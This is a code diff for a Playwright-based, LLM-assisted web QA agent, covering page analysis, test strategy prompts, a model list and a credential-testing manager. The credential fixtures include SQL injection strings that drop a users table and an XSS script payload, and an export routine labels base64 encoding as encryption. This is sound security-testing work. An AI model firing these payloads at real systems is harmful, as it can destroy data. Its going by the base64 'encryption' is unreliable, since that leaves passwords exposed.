+            page_content = await self.page.content()
+            
+            # Check for common issues
+            if 'password' in page_content.lower() and 'type="password"' not in page_content:
+                issues.append("password_field_not_secured")
+            
+            if 'email' in page_content.lower() and 'type="email"' not in page_content:
+                issues.append("email_field_not_typed")
+            
+            if 'required' not in page_content and 'form' in page_content.lower():
+                issues.append("missing_required_validation")
+            
+            if 'onclick' in page_content.lower():
+                issues.append("inline_javascript_detected")
+            
+            if 'http://' in page_content and 'https://' in page_content:
+                issues.append("mixed_content_detected")
+                
+        except Exception as e:
+            logger.error(f"Error identifying potential issues: {e}")
+        
+        return issues
+
+    async def _identify_testing_opportunities(self) -> List[str]:
+        """Identify specific testing opportunities."""
+        opportunities = []
+        
+        try:
+            # Check for different types of inputs
+            input_types = await self.page.locator("input[type]").all()
+            type_set = set()
+            
+            for input_elem in input_types:
+                input_type = await input_elem.get_attribute("type")
+                if input_type:
+                    type_set.add(input_type)
+            
+            if "email" in type_set:
+                opportunities.append("email_validation_testing")
+            
+            if "password" in type_set:
+                opportunities.append("password_security_testing")
+            
+            if "number" in type_set:
+                opportunities.append("numeric_input_testing")
+            
+            if "date" in type_set:
+                opportunities.append("date_validation_testing")
+            
+            if "file" in type_set:
+                opportunities.append("file_upload_testing")
+            
+            # Check for forms
+            if await self.page.locator("form").count() > 0:
+                opportunities.append("form_submission_testing")
+                opportunities.append("cross_field_validation_testing")
+            
+            # Check for dynamic content
+            if await self.page.locator("[data-*]").count() > 0:
+                opportunities.append("dynamic_content_testing")
+            
+        except Exception as e:
+            logger.error(f"Error identifying testing opportunities: {e}")
+        
+        return opportunities
+
+    async def generate_testing_strategy(self, page_analysis: Dict[str, Any]) -> TestStrategy:
+        """Generate an intelligent testing strategy based on page analysis."""
+        logger.info("🎯 Generating intelligent testing strategy...")
+        
+        # Use AI to determine the best testing approach
+        strategy_prompt = f"""
+        Based on the following page analysis, generate a comprehensive testing strategy:
+        
+        Page Type: {page_analysis.get('page_type', 'unknown')}
+        Form Complexity: {page_analysis.get('form_complexity', 'unknown')}
+        Security Indicators: {page_analysis.get('security_indicators', [])}
+        Potential Issues: {page_analysis.get('potential_issues', [])}
+        Testing Opportunities: {page_analysis.get('testing_opportunities', [])}
+        
+        Please provide a JSON response with:
+        1. approach: The overall testing approach (comprehensive, focused, security-focused, etc.)
+        2. priority_order: List of testing priorities in order
+        3. focus_areas: Specific areas to focus testing on
+        4. risk_assessment: Risk levels for different areas (high, medium, low)
+        5. estimated_duration: Estimated testing duration in minutes
+        6. reasoning: Explanation of the strategy
+        
+        Focus on:
+        - Form validation testing (valid, invalid, edge cases)
+        - Security testing (SQL injection, XSS, CSRF)
+        - User experience testing
+        - Cross-browser compatibility
+        - Performance testing
+        """
+        
+        try:
+            messages = [
+                SystemMessage(content="You are an expert QA engineer specializing in web application testing. Provide detailed, actionable testing strategies."),
+                HumanMessage(content=strategy_prompt)
+            ]
+            
+            response = await self.llm.ainvoke(messages)
+            strategy_data = json.loads(response.content)
+            
+            strategy = TestStrategy(
+                approach=strategy_data.get("approach", "comprehensive"),
+                priority_order=strategy_data.get("priority_order", []),
+                focus_areas=strategy_data.get("focus_areas", []),
+                risk_assessment=strategy_data.get("risk_assessment", {}),
+                estimated_duration=strategy_data.get("estimated_duration", 30),
+                reasoning=strategy_data.get("reasoning", "AI-generated strategy")
+            )
+            
+            logger.info(f"✅ Testing strategy generated: {strategy.approach} approach")
+            return strategy
+            
+        except Exception as e:
+            logger.error(f"Error generating testing strategy: {e}")
+            # Fallback strategy
+            return TestStrategy(
+                approach="comprehensive",
+                priority_order=["form_validation", "security_testing", "user_experience"],
+                focus_areas=["input_validation", "authentication", "data_integrity"],
+                risk_assessment={"security": 0.8, "validation": 0.6, "ux": 0.4},
+                estimated_duration=30,
+                reasoning="Fallback strategy due to AI error"
+            )
+
+    async def think_through_scenario(self, scenario: str, context: Dict[str, Any]) -> List[ThinkingStep]:
+        """Think through a specific testing scenario step by step."""
+        logger.info(f"🤔 Thinking through scenario: {scenario}")
+        
+        thinking_prompt = f"""
+        As an expert QA engineer, think through this testing scenario step by step:
+        
+        Scenario: {scenario}
+        Context: {json.dumps(context, indent=2)}
+        
+        Provide your thinking process as a JSON array of steps, where each step has:
+        - step_number: Sequential number
+        - thought: What you're thinking about
+        - action: What action you would take
+        - reasoning: Why you would take this action
+        - confidence: Confidence level (0.0 to 1.0)
+        
+        Consider:
+        1. What could go wrong?
+        2. What edge cases should be tested?
+        3. What security implications exist?
+        4. How can we ensure comprehensive coverage?
+        5. What are the user experience implications?
+        """
+        
+        try:
+            messages = [
+                SystemMessage(content="You are an expert QA engineer. Think through testing scenarios systematically and provide detailed reasoning."),
+                HumanMessage(content=thinking_prompt)
+            ]
+            
+            response = await self.llm.ainvoke(messages)
+            thinking_data = json.loads(response.content)
+            
+            thinking_steps = []
+            for i, step_data in enumerate(thinking_data, 1):
+                step = ThinkingStep(
+                    step_number=i,
+                    thought=step_data.get("thought", ""),
+                    action=step_data.get("action", ""),
+                    reasoning=step_data.get("reasoning", ""),
+                    confidence=step_data.get("confidence", 0.5),
+                    timestamp=datetime.now()
+                )
+                thinking_steps.append(step)
+            
+            self.thinking_history.extend(thinking_steps)
+            logger.info(f"✅ Generated {len(thinking_steps)} thinking steps")
+            return thinking_steps
+            
+        except Exception as e:
+            logger.error(f"Error thinking through scenario: {e}")
+            return []
+
+    async def adapt_testing_approach(self, previous_results: List[Dict[str, Any]]) -> Dict[str, Any]:
+        """Adapt the testing approach based on previous results."""
+        logger.info("🔄 Adapting testing approach based on previous results...")
+        
+        if not previous_results:
+            return {"adaptation": "no_previous_data", "recommendations": []}
+        
+        # Analyze failure patterns
+        failures = [r for r in previous_results if not r.get("success", True)]
+        success_rate = (len(previous_results) - len(failures)) / len(previous_results)
+        
+        adaptations = {
+            "success_rate": success_rate,
+            "adaptations": [],
+            "recommendations": []
+        }
+        
+        if success_rate < 0.5:
+            adaptations["adaptations"].append("increase_test_coverage")
+            adaptations["recommendations"].append("Focus on high-priority test cases first")
+        
+        # Analyze specific failure types
+        validation_failures = [r for r in failures if "validation" in r.get("scenario_name", "").lower()]
+        if validation_failures:
+            adaptations["adaptations"].append("enhance_validation_testing")
+            adaptations["recommendations"].append("Implement more robust validation testing")
+        
+        security_failures = [r for r in failures if any(x in r.get("scenario_name", "").lower() for x in ["sql", "xss", "injection"])]
+        if security_failures:
+            adaptations["adaptations"].append("strengthen_security_testing")
+            adaptations["recommendations"].append("Focus on security vulnerability testing")
+        
+        logger.info(f"✅ Testing approach adapted: {len(adaptations['adaptations'])} adaptations")
+        return adaptations
+
+    async def learn_from_results(self, test_results: List[Dict[str, Any]]) -> None:
+        """Learn from test results to improve future testing."""
+        logger.info("📚 Learning from test results...")
+        
+        for result in test_results:
+            scenario_type = result.get("scenario_name", "").split(" - ")[0]
+            
+            if scenario_type not in self.learning_patterns:
+                self.learning_patterns[scenario_type] = []
+            
+            self.learning_patterns[scenario_type].append({
+                "success": result.get("success", False),
+                "actual_result": result.get("actual_result", ""),
+                "timestamp": datetime.now().isoformat()
+            })
+        
+        # Update context memory with learned patterns
+        self.context_memory["learning_patterns"] = self.learning_patterns
+        self.context_memory["last_learning_update"] = datetime.now().isoformat()
+        
+        logger.info(f"✅ Learned from {len(test_results)} test results")
+
+    def get_thinking_summary(self) -> Dict[str, Any]:
+        """Get a summary of the AI thinking process."""
+        if not self.thinking_history:
+            return {"message": "No thinking history available"}
+        
+        total_steps = len(self.thinking_history)
+        avg_confidence = sum(step.confidence for step in self.thinking_history) / total_steps
+        
+        return {
+            "total_thinking_steps": total_steps,
+            "average_confidence": round(avg_confidence, 2),
+            "thinking_areas": list(set(step.action.split()[0] for step in self.thinking_history if step.action)),
+            "learning_patterns": len(self.learning_patterns),
+            "context_memory_size": len(self.context_memory)
+        }

src/utils/config.py

@@ -0,0 +1,111 @@
+"""
+🤖 Fagun Browser Automation Testing Agent - Configuration
+=========================================================
+
+Configuration settings and constants for the Fagun Browser Automation Testing Agent.
+
+Author: Mejbaur Bahar Fagun
+Role: Software Engineer in Test
+LinkedIn: https://www.linkedin.com/in/mejbaur/
+"""
+
+PROVIDER_DISPLAY_NAMES = {
+    "openai": "OpenAI",
+    "azure_openai": "Azure OpenAI",
+    "anthropic": "Anthropic",
+    "deepseek": "DeepSeek",
+    "google": "Google",
+    "alibaba": "Alibaba",
+    "moonshot": "MoonShot",
+    "unbound": "Unbound AI",
+    "ibm": "IBM",
+    "grok": "Grok",
+}
+
+# Predefined model names for common providers
+model_names = {
+    "anthropic": ["claude-3-5-sonnet-20241022", "claude-3-5-sonnet-20240620", "claude-3-opus-20240229"],
+    "openai": ["gpt-4o", "gpt-4", "gpt-3.5-turbo", "o3-mini"],
+    "deepseek": ["deepseek-chat", "deepseek-reasoner"],
+    "google": ["gemini-2.0-flash", "gemini-2.0-flash-thinking-exp", "gemini-1.5-flash-latest",
+               "gemini-1.5-flash-8b-latest", "gemini-2.0-flash-thinking-exp-01-21", "gemini-2.0-pro-exp-02-05",
+               "gemini-2.5-pro-preview-03-25", "gemini-2.5-flash-preview-04-17"],
+    "ollama": ["qwen2.5:7b", "qwen2.5:14b", "qwen2.5:32b", "qwen2.5-coder:14b", "qwen2.5-coder:32b", "llama2:7b",
+               "deepseek-r1:14b", "deepseek-r1:32b"],
+    "azure_openai": ["gpt-4o", "gpt-4", "gpt-3.5-turbo"],
+    "mistral": ["pixtral-large-latest", "mistral-large-latest", "mistral-small-latest", "ministral-8b-latest"],
+    "alibaba": ["qwen-plus", "qwen-max", "qwen-vl-max", "qwen-vl-plus", "qwen-turbo", "qwen-long"],
+    "moonshot": ["moonshot-v1-32k-vision-preview", "moonshot-v1-8k-vision-preview"],
+    "unbound": ["gemini-2.0-flash", "gpt-4o-mini", "gpt-4o", "gpt-4.5-preview"],
+    "grok": [
+        "grok-3",
+        "grok-3-fast",
+        "grok-3-mini",
+        "grok-3-mini-fast",
+        "grok-2-vision",
+        "grok-2-image",
+        "grok-2",
+    ],
+    "siliconflow": [
+        "deepseek-ai/DeepSeek-R1",
+        "deepseek-ai/DeepSeek-V3",
+        "deepseek-ai/DeepSeek-R1-Distill-Qwen-32B",
+        "deepseek-ai/DeepSeek-R1-Distill-Qwen-14B",
+        "deepseek-ai/DeepSeek-R1-Distill-Qwen-7B",
+        "deepseek-ai/DeepSeek-R1-Distill-Qwen-1.5B",
+        "deepseek-ai/DeepSeek-V2.5",
+        "deepseek-ai/deepseek-vl2",
+        "Qwen/Qwen2.5-72B-Instruct-128K",
+        "Qwen/Qwen2.5-72B-Instruct",
+        "Qwen/Qwen2.5-32B-Instruct",
+        "Qwen/Qwen2.5-14B-Instruct",
+        "Qwen/Qwen2.5-7B-Instruct",
+        "Qwen/Qwen2.5-Coder-32B-Instruct",
+        "Qwen/Qwen2.5-Coder-7B-Instruct",
+        "Qwen/Qwen2-7B-Instruct",
+        "Qwen/Qwen2-1.5B-Instruct",
+        "Qwen/QwQ-32B-Preview",
+        "Qwen/Qwen2-VL-72B-Instruct",
+        "Qwen/Qwen2.5-VL-32B-Instruct",
+        "Qwen/Qwen2.5-VL-72B-Instruct",
+        "TeleAI/TeleChat2",
+        "THUDM/glm-4-9b-chat",
+        "Vendor-A/Qwen/Qwen2.5-72B-Instruct",
+        "internlm/internlm2_5-7b-chat",
+        "internlm/internlm2_5-20b-chat",
+        "Pro/Qwen/Qwen2.5-7B-Instruct",
+        "Pro/Qwen/Qwen2-7B-Instruct",
+        "Pro/Qwen/Qwen2-1.5B-Instruct",
+        "Pro/THUDM/chatglm3-6b",
+        "Pro/THUDM/glm-4-9b-chat",
+    ],
+    "ibm": ["ibm/granite-vision-3.1-2b-preview", "meta-llama/llama-4-maverick-17b-128e-instruct-fp8",
+            "meta-llama/llama-3-2-90b-vision-instruct"],
+    "modelscope":[
+        "Qwen/Qwen2.5-Coder-32B-Instruct",
+        "Qwen/Qwen2.5-Coder-14B-Instruct",
+        "Qwen/Qwen2.5-Coder-7B-Instruct",
+        "Qwen/Qwen2.5-72B-Instruct",
+        "Qwen/Qwen2.5-32B-Instruct",
+        "Qwen/Qwen2.5-14B-Instruct",
+        "Qwen/Qwen2.5-7B-Instruct",
+        "Qwen/QwQ-32B-Preview",
+        "Qwen/Qwen2.5-VL-3B-Instruct",
+        "Qwen/Qwen2.5-VL-7B-Instruct",
+        "Qwen/Qwen2.5-VL-32B-Instruct",
+        "Qwen/Qwen2.5-VL-72B-Instruct",
+        "deepseek-ai/DeepSeek-R1-Distill-Qwen-32B",
+        "deepseek-ai/DeepSeek-R1-Distill-Qwen-14B",
+        "deepseek-ai/DeepSeek-R1-Distill-Qwen-7B",
+        "deepseek-ai/DeepSeek-R1-Distill-Qwen-1.5B",
+        "deepseek-ai/DeepSeek-R1",
+        "deepseek-ai/DeepSeek-V3",
+        "Qwen/Qwen3-1.7B",
+        "Qwen/Qwen3-4B",
+        "Qwen/Qwen3-8B",
+        "Qwen/Qwen3-14B",
+        "Qwen/Qwen3-30B-A3B",
+        "Qwen/Qwen3-32B",
+        "Qwen/Qwen3-235B-A22B",
+    ],
+}

src/utils/credential_manager.py

@@ -0,0 +1,628 @@
+"""
+🤖 Fagun Browser Automation Testing Agent - Credential Manager
+==============================================================
+
+Secure credential management and testing system.
+
+Author: Mejbaur Bahar Fagun
+Role: Software Engineer in Test
+LinkedIn: https://www.linkedin.com/in/mejbaur/
+"""
+
+import asyncio
+import logging
+import json
+import hashlib
+import base64
+from typing import Dict, List, Optional, Any, Tuple
+from dataclasses import dataclass
+from datetime import datetime
+import random
+import string
+
+from playwright.async_api import Page, Locator
+
+logger = logging.getLogger(__name__)
+
+@dataclass
+class CredentialSet:
+    """Represents a set of credentials for testing."""
+    name: str
+    email: str
+    password: str
+    description: str
+    is_valid: bool
+    category: str  # valid, invalid, edge_case, security_test
+    created_at: datetime
+
+@dataclass
+class CredentialTestResult:
+    """Result of testing with specific credentials."""
+    credential_set: CredentialSet
+    success: bool
+    response_type: str  # success, validation_error, security_error, etc.
+    error_message: Optional[str] = None
+    screenshot_path: Optional[str] = None
+    timestamp: datetime = None
+
+class CredentialManager:
+    """Advanced credential management and testing system."""
+    
+    def __init__(self, page: Page):
+        self.page = page
+        self.credential_sets: List[CredentialSet] = []
+        self.test_results: List[CredentialTestResult] = []
+        self.encryption_key = self._generate_encryption_key()
+        
+        # Initialize with default credential sets
+        self._initialize_default_credentials()
+    
+    def _generate_encryption_key(self) -> str:
+        """Generate a simple encryption key for credential storage."""
+        return hashlib.sha256(f"fagun_credential_key_{datetime.now().isoformat()}".encode()).hexdigest()[:32]
+    
+    def _initialize_default_credentials(self):
+        """Initialize with default credential sets for testing."""
+        default_credentials = [
+            # Valid credentials
+            CredentialSet(
+                name="Valid User 1",
+                email="testuser1@example.com",
+                password="ValidPass123!",
+                description="Standard valid credentials",
+                is_valid=True,
+                category="valid",
+                created_at=datetime.now()
+            ),
+            CredentialSet(
+                name="Valid User 2",
+                email="admin@testdomain.org",
+                password="AdminPass456@",
+                description="Admin valid credentials",
+                is_valid=True,
+                category="valid",
+                created_at=datetime.now()
+            ),
+            
+            # Invalid credentials
+            CredentialSet(
+                name="Invalid Email",
+                email="invalid-email-format",
+                password="ValidPass123!",
+                description="Invalid email format",
+                is_valid=False,
+                category="invalid",
+                created_at=datetime.now()
+            ),
+            CredentialSet(
+                name="Invalid Password",
+                email="test@example.com",
+                password="weak",
+                description="Weak password",
+                is_valid=False,
+                category="invalid",
+                created_at=datetime.now()
+            ),
+            CredentialSet(
+                name="Empty Credentials",
+                email="",
+                password="",
+                description="Empty email and password",
+                is_valid=False,
+                category="invalid",
+                created_at=datetime.now()
+            ),
+            
+            # Edge case credentials
+            CredentialSet(
+                name="Special Characters",
+                email="test+special@example.com",
+                password="Pass@123!@#$%",
+                description="Credentials with special characters",
+                is_valid=True,
+                category="edge_case",
+                created_at=datetime.now()
+            ),
+            CredentialSet(
+                name="Long Email",
+                email="very.long.email.address.for.testing.purposes@verylongdomainname.com",
+                password="ValidPass123!",
+                description="Very long email address",
+                is_valid=True,
+                category="edge_case",
+                created_at=datetime.now()
+            ),
+            CredentialSet(
+                name="Unicode Email",
+                email="测试@example.com",
+                password="ValidPass123!",
+                description="Email with Unicode characters",
+                is_valid=True,
+                category="edge_case",
+                created_at=datetime.now()
+            ),
+            
+            # Security test credentials
+            CredentialSet(
+                name="SQL Injection Email",
+                email="admin'; DROP TABLE users; --",
+                password="ValidPass123!",
+                description="SQL injection attempt in email",
+                is_valid=False,
+                category="security_test",
+                created_at=datetime.now()
+            ),
+            CredentialSet(
+                name="XSS Email",
+                email="<script>alert('XSS')</script>@example.com",
+                password="ValidPass123!",
+                description="XSS attempt in email",
+                is_valid=False,
+                category="security_test",
+                created_at=datetime.now()
+            ),
+            CredentialSet(
+                name="SQL Injection Password",
+                email="test@example.com",
+                password="'; DROP TABLE users; --",
+                description="SQL injection attempt in password",
+                is_valid=False,
+                category="security_test",
+                created_at=datetime.now()
+            )
+        ]
+        
+        self.credential_sets.extend(default_credentials)
+        logger.info(f"✅ Initialized {len(default_credentials)} default credential sets")
+
+    def add_credential_set(self, name: str, email: str, password: str, 
+                          description: str = "", category: str = "custom") -> bool:
+        """Add a new credential set."""
+        try:
+            credential_set = CredentialSet(
+                name=name,
+                email=email,
+                password=password,
+                description=description,
+                is_valid=self._validate_credentials(email, password),
+                category=category,
+                created_at=datetime.now()
+            )
+            
+            self.credential_sets.append(credential_set)
+            logger.info(f"✅ Added credential set: {name}")
+            return True
+            
+        except Exception as e:
+            logger.error(f"❌ Error adding credential set: {e}")
+            return False
+
+    def _validate_credentials(self, email: str, password: str) -> bool:
+        """Validate if credentials are in correct format."""
+        # Basic email validation
+        email_valid = "@" in email and "." in email.split("@")[-1]
+        
+        # Basic password validation (at least 8 characters)
+        password_valid = len(password) >= 8
+        
+        return email_valid and password_valid
+
+    def get_credentials_by_category(self, category: str) -> List[CredentialSet]:
+        """Get credentials by category."""
+        return [cred for cred in self.credential_sets if cred.category == category]
+
+    def get_credentials_by_validity(self, is_valid: bool) -> List[CredentialSet]:
+        """Get credentials by validity."""
+        return [cred for cred in self.credential_sets if cred.is_valid == is_valid]
+
+    async def discover_credential_fields(self) -> Dict[str, Locator]:
+        """Discover email and password fields on the page."""
+        logger.info("🔍 Discovering credential fields...")
+        
+        fields = {}
+        
+        try:
+            # Find email fields
+            email_selectors = [
+                "input[type='email']",
+                "input[name*='email']",
+                "input[placeholder*='email' i]",
+                "input[id*='email']",
+                "input[class*='email']"
+            ]
+            
+            for selector in email_selectors:
+                elements = await self.page.locator(selector).all()
+                if elements:
+                    fields["email"] = elements[0]
+                    logger.info(f"📧 Found email field: {selector}")
+                    break
+            
+            # Find password fields
+            password_selectors = [
+                "input[type='password']",
+                "input[name*='password']",
+                "input[placeholder*='password' i]",
+                "input[id*='password']",
+                "input[class*='password']"
+            ]
+            
+            for selector in password_selectors:
+                elements = await self.page.locator(selector).all()
+                if elements:
+                    fields["password"] = elements[0]
+                    logger.info(f"🔐 Found password field: {selector}")
+                    break
+            
+            # Find username fields (alternative to email)
+            if "email" not in fields:
+                username_selectors = [
+                    "input[name*='username']",
+                    "input[name*='user']",
+                    "input[placeholder*='username' i]",
+                    "input[placeholder*='user' i]",
+                    "input[id*='username']",
+                    "input[id*='user']"
+                ]
+                
+                for selector in username_selectors:
+                    elements = await self.page.locator(selector).all()
+                    if elements:
+                        fields["username"] = elements[0]
+                        logger.info(f"��� Found username field: {selector}")
+                        break
+            
+            logger.info(f"✅ Field discovery complete: {list(fields.keys())}")
+            return fields
+            
+        except Exception as e:
+            logger.error(f"❌ Error discovering credential fields: {e}")
+            return {}
+
+    async def test_credentials(self, credential_set: CredentialSet, 
+                             fields: Dict[str, Locator]) -> CredentialTestResult:
+        """Test a specific credential set."""
+        logger.info(f"🧪 Testing credentials: {credential_set.name}")
+        
+        try:
+            # Clear existing fields
+            await self._clear_credential_fields(fields)
+            
+            # Fill email/username field
+            if "email" in fields:
+                await fields["email"].fill(credential_set.email)
+            elif "username" in fields:
+                await fields["username"].fill(credential_set.email)  # Use email as username
+            
+            # Fill password field
+            if "password" in fields:
+                await fields["password"].fill(credential_set.password)
+            
+            # Take screenshot before submission
+            screenshot_path = f"./screenshots/credential_test_{credential_set.name.replace(' ', '_')}_{datetime.now().strftime('%Y%m%d_%H%M%S')}.png"
+            await self.page.screenshot(path=screenshot_path)
+            
+            # Submit form
+            await self._submit_form()
+            
+            # Wait for response
+            await asyncio.sleep(2)
+            
+            # Analyze result
+            response_type = await self._analyze_credential_response()
+            
+            # Determine success
+            success = self._evaluate_credential_result(credential_set, response_type)
+            
+            result = CredentialTestResult(
+                credential_set=credential_set,
+                success=success,
+                response_type=response_type,
+                screenshot_path=screenshot_path,
+                timestamp=datetime.now()
+            )
+            
+            self.test_results.append(result)
+            logger.info(f"✅ Credential test complete: {credential_set.name} - {response_type}")
+            return result
+            
+        except Exception as e:
+            logger.error(f"❌ Error testing credentials {credential_set.name}: {e}")
+            return CredentialTestResult(
+                credential_set=credential_set,
+                success=False,
+                response_type="error",
+                error_message=str(e),
+                timestamp=datetime.now()
+            )
+
+    async def _clear_credential_fields(self, fields: Dict[str, Locator]):
+        """Clear all credential fields."""
+        for field_name, field in fields.items():
+            try:
+                await field.clear()
+            except:
+                pass
+
+    async def _submit_form(self):
+        """Submit the form."""
+        try:
+            # Try different submit button selectors
+            submit_selectors = [
+                "button[type='submit']",
+                "input[type='submit']",
+                "button:has-text('Login')",
+                "button:has-text('Sign In')",
+                "button:has-text('Submit')",
+                "form button",
+                "form input[type='submit']"
+            ]
+            
+            for selector in submit_selectors:
+                submit_btn = await self.page.locator(selector).first
+                if await submit_btn.count() > 0:
+                    await submit_btn.click()
+                    logger.info(f"📤 Form submitted using: {selector}")
+                    return
+            
+            # If no submit button found, try pressing Enter
+            await self.page.keyboard.press("Enter")
+            logger.info("📤 Form submitted using Enter key")
+            
+        except Exception as e:
+            logger.error(f"❌ Error submitting form: {e}")
+
+    async def _analyze_credential_response(self) -> str:
+        """Analyze the response after credential submission."""
+        try:
+            page_content = await self.page.content()
+            page_text = page_content.lower()
+            
+            # Check for success indicators
+            success_indicators = [
+                "welcome", "dashboard", "profile", "account", "logged in",
+                "signed in", "success", "thank you", "confirmation"
+            ]
+            
+            for indicator in success_indicators:
+                if indicator in page_text:
+                    return "success"
+            
+            # Check for validation errors
+            validation_indicators = [
+                "invalid", "incorrect", "wrong", "error", "failed",
+                "required", "missing", "format", "invalid email",
+                "invalid password", "password too short"
+            ]
+            
+            for indicator in validation_indicators:
+                if indicator in page_text:
+                    return "validation_error"
+            
+            # Check for security-related responses
+            security_indicators = [
+                "security", "blocked", "suspicious", "malicious",
+                "injection", "script", "xss", "sql", "forbidden"
+            ]
+            
+            for indicator in security_indicators:
+                if indicator in page_text:
+                    return "security_error"
+            
+            # Check for authentication errors
+            auth_indicators = [
+                "not found", "user not found", "account not found",
+                "login failed", "authentication failed", "access denied"
+            ]
+            
+            for indicator in auth_indicators:
+                if indicator in page_text:
+                    return "authentication_error"
+            
+            return "unknown"
+            
+        except Exception as e:
+            logger.error(f"❌ Error analyzing credential response: {e}")
+            return "error"
+
+    def _evaluate_credential_result(self, credential_set: CredentialSet, response_type: str) -> bool:
+        """Evaluate if the credential test result is as expected."""
+        if credential_set.is_valid:
+            # Valid credentials should succeed
+            return response_type == "success"
+        else:
+            # Invalid credentials should fail with appropriate error
+            return response_type in ["validation_error", "authentication_error", "security_error"]
+
+    async def run_comprehensive_credential_testing(self) -> Dict[str, Any]:
+        """Run comprehensive credential testing with all credential sets."""
+        logger.info("🚀 Starting comprehensive credential testing...")
+        
+        # Discover credential fields
+        fields = await self.discover_credential_fields()
+        
+        if not fields:
+            logger.warning("⚠️ No credential fields found on the page")
+            return {"error": "No credential fields found"}
+        
+        # Test all credential sets
+        for credential_set in self.credential_sets:
+            await self.test_credentials(credential_set, fields)
+            await asyncio.sleep(1)  # Delay between tests
+        
+        # Generate comprehensive report
+        report = self._generate_credential_report()
+        
+        logger.info(f"✅ Comprehensive credential testing complete: {len(self.test_results)} tests executed")
+        return report
+
+    def _generate_credential_report(self) -> Dict[str, Any]:
+        """Generate a comprehensive credential testing report."""
+        total_tests = len(self.test_results)
+        passed_tests = sum(1 for r in self.test_results if r.success)
+        failed_tests = total_tests - passed_tests
+        
+        # Categorize results
+        by_category = {}
+        by_validity = {"valid": [], "invalid": []}
+        by_response_type = {}
+        
+        for result in self.test_results:
+            category = result.credential_set.category
+            validity = "valid" if result.credential_set.is_valid else "invalid"
+            response_type = result.response_type
+            
+            if category not in by_category:
+                by_category[category] = []
+            by_category[category].append(result)
+            
+            by_validity[validity].append(result)
+            
+            if response_type not in by_response_type:
+                by_response_type[response_type] = []
+            by_response_type[response_type].append(result)
+        
+        # Calculate success rates
+        success_rate = (passed_tests / total_tests * 100) if total_tests > 0 else 0
+        
+        report = {
+            "summary": {
+                "total_tests": total_tests,
+                "passed_tests": passed_tests,
+                "failed_tests": failed_tests,
+                "success_rate": round(success_rate, 2),
+                "timestamp": datetime.now().isoformat()
+            },
+            "by_category": {
+                category: {
+                    "total": len(results),
+                    "passed": sum(1 for r in results if r.success),
+                    "failed": sum(1 for r in results if not r.success)
+                }
+                for category, results in by_category.items()
+            },
+            "by_validity": {
+                validity: {
+                    "total": len(results),
+                    "passed": sum(1 for r in results if r.success),
+                    "failed": sum(1 for r in results if not r.success)
+                }
+                for validity, results in by_validity.items()
+            },
+            "by_response_type": {
+                response_type: {
+                    "total": len(results),
+                    "passed": sum(1 for r in results if r.success),
+                    "failed": sum(1 for r in results if not r.success)
+                }
+                for response_type, results in by_response_type.items()
+            },
+            "detailed_results": [
+                {
+                    "credential_name": result.credential_set.name,
+                    "email": result.credential_set.email,
+                    "category": result.credential_set.category,
+                    "is_valid": result.credential_set.is_valid,
+                    "success": result.success,
+                    "response_type": result.response_type,
+                    "error_message": result.error_message,
+                    "screenshot_path": result.screenshot_path,
+                    "timestamp": result.timestamp.isoformat() if result.timestamp else None
+                }
+                for result in self.test_results
+            ],
+            "recommendations": self._generate_credential_recommendations()
+        }
+        
+        return report
+
+    def _generate_credential_recommendations(self) -> List[str]:
+        """Generate recommendations based on credential test results."""
+        recommendations = []
+        
+        if not self.test_results:
+            return ["No test results available for recommendations"]
+        
+        # Analyze results
+        valid_creds = [r for r in self.test_results if r.credential_set.is_valid]
+        invalid_creds = [r for r in self.test_results if not r.credential_set.is_valid]
+        
+        # Check if valid credentials are working
+        valid_success_rate = sum(1 for r in valid_creds if r.success) / len(valid_creds) if valid_creds else 0
+        if valid_success_rate < 0.5:
+            recommendations.append("⚠️ Valid credentials are not working properly. Check authentication system.")
+        
+        # Check if invalid credentials are properly rejected
+        invalid_rejection_rate = sum(1 for r in invalid_creds if not r.success) / len(invalid_creds) if invalid_creds else 0
+        if invalid_rejection_rate < 0.8:
+            recommendations.append("🔒 Invalid credentials are not being properly rejected. Improve validation.")
+        
+        # Check for security issues
+        security_tests = [r for r in self.test_results if r.credential_set.category == "security_test"]
+        if security_tests:
+            security_success_rate = sum(1 for r in security_tests if r.success) / len(security_tests)
+            if security_success_rate > 0.3:
+                recommendations.append("🚨 Security tests are passing when they should fail. Implement proper input sanitization.")
+        
+        # Check response types
+        response_types = [r.response_type for r in self.test_results]
+        if "unknown" in response_types:
+            recommendations.append("❓ Some tests returned unknown responses. Improve error handling and user feedback.")
+        
+        if not recommendations:
+            recommendations.append("✅ All credential tests are working as expected!")
+        
+        return recommendations
+
+    def export_credentials(self, file_path: str) -> bool:
+        """Export credentials to a file (encrypted)."""
+        try:
+            # Simple encryption (in production, use proper encryption)
+            encrypted_data = base64.b64encode(
+                json.dumps([{
+                    "name": cred.name,
+                    "email": cred.email,
+                    "password": cred.password,
+                    "description": cred.description,
+                    "category": cred.category,
+                    "created_at": cred.created_at.isoformat()
+                } for cred in self.credential_sets]).encode()
+            ).decode()
+            
+            with open(file_path, 'w') as f:
+                f.write(encrypted_data)
+            
+            logger.info(f"✅ Credentials exported to: {file_path}")
+            return True
+            
+        except Exception as e:
+            logger.error(f"❌ Error exporting credentials: {e}")
+            return False
+
+    def import_credentials(self, file_path: str) -> bool:
+        """Import credentials from a file."""
+        try:
+            with open(file_path, 'r') as f:
+                encrypted_data = f.read()
+            
+            # Simple decryption
+            decrypted_data = json.loads(base64.b64decode(encrypted_data).decode())
+            
+            for cred_data in decrypted_data:
+                credential_set = CredentialSet(
+                    name=cred_data["name"],
+                    email=cred_data["email"],
+                    password=cred_data["password"],
+                    description=cred_data["description"],
+                    is_valid=self._validate_credentials(cred_data["email"], cred_data["password"]),
+                    category=cred_data["category"],
+                    created_at=datetime.fromisoformat(cred_data["created_at"])
+                )
+                self.credential_sets.append(credential_set)
+            
+            logger.info(f"✅ Credentials imported from: {file_path}")
+            return True
+            
+        except Exception as e:
+            logger.error(f"❌ Error importing credentials: {e}")
+            return False

src/utils/enhanced_ai_testing.py

@@ -0,0 +1,635 @@
+"""
+🤖 Fagun Browser Automation Testing Agent - Enhanced AI Testing Engine
+====================================================================
+
+Enhanced AI testing engine that aggressively finds errors, bugs, and issues
+with comprehensive test scenarios and intelligent bug detection.
+
+Author: Mejbaur Bahar Fagun
+Role: Software Engineer in Test
+LinkedIn: https://www.linkedin.com/in/mejbaur/
+"""
+
+import asyncio
+import random
+import string
+from typing import List, Dict, Any, Optional
+from playwright.async_api import Page, Locator
+import logging
+from dataclasses import dataclass
+from enum import Enum
+
+logger = logging.getLogger(__name__)
+
+
+class BugSeverity(Enum):
+    """Bug severity levels."""
+    CRITICAL = "critical"
+    HIGH = "high"
+    MEDIUM = "medium"
+    LOW = "low"
